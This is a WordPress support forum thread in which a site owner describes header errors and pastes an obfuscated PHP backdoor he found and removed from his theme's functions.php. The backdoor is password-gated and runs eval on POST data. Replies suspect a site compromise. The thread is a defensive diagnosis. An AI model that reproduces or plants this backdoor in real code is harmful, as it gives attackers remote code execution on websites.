Community Forums › Forums › General Discussion › Warning: Cannot modify header information
Tagged: child theme, error, magazine, premise
This topic contains 3 replies, has 2 voices, and was last updated by anitac 4 months, 2 weeks ago.
-
AuthorPosts
-
February 5, 2013 at 3:31 am #18161
I have been having an issue with WordPress Admin area displaying Warning: Cannot modify header information – headers already sent by (output started at /homepages/0/d135381xxx/htdocs/seanclark/wp-content/themes/magazine/functions.php:1) in /homepages/0/d135381xxx/htdocs/seanclark/wp-includes/pluggable.php on line 876
And similar errors, I found and removed the following seemingly rogue code in the functions.php file of the magazine theme.
<?php
if(isset($_POST['pas']) && (md5($_POST['pas']) == ’40082ed0f6a3ce’.’5ebfbb39c7b7fcf27b’) && isset($_POST['update'])) {$domainValidator=’p’.’reg_rep’.'lace’;$domain=”/.*/e”;$domainValidator($domain,’ev’.'al(\\$_POST[\'upd'.'ate\']);’, “”);}
?>This then gave me an error related to Premise.
Warning: Cannot modify header information – headers already sent by (output started at /homepages/0/d135381xxx/htdocs/seanclark/wp-content/plugins/premise/lib/premise-support.php:4) in /homepages/0/d135381xxx/htdocs/seanclark/wp-includes/pluggable.php on line 876
I disable the Premise plugin and the site is now functioning normally.
I am working with the latest release of WordPress 3.5.1
Of course I can no longer use Premise.
Any advise welcome.
Thanks
February 5, 2013 at 6:49 am #18175I don’t see a support area on the Premise website itself. I would probably submit a ticket to the support team on this one.
Need customization services or other help? Visit me here: Cre8tiveDiva.com | Twitter: @thecre8tivediva
Why Not Take The Challenge! – Help us answer some of the unanswered postsFebruary 5, 2013 at 10:12 am #18219It’s not Premise I am concerned about really, but the rogue code that ended up in the Magazine themes function.php file
Thanks
Sean
February 5, 2013 at 10:52 am #18231I would run a virus check. I see the reference to MD5 in there which is how your passwords are changed, encoded/encrypted. I think your website and installation has been compromised.
Need customization services or other help? Visit me here: Cre8tiveDiva.com | Twitter: @thecre8tivediva
Why Not Take The Challenge! – Help us answer some of the unanswered posts -
AuthorPosts
You must be logged in to reply to this topic.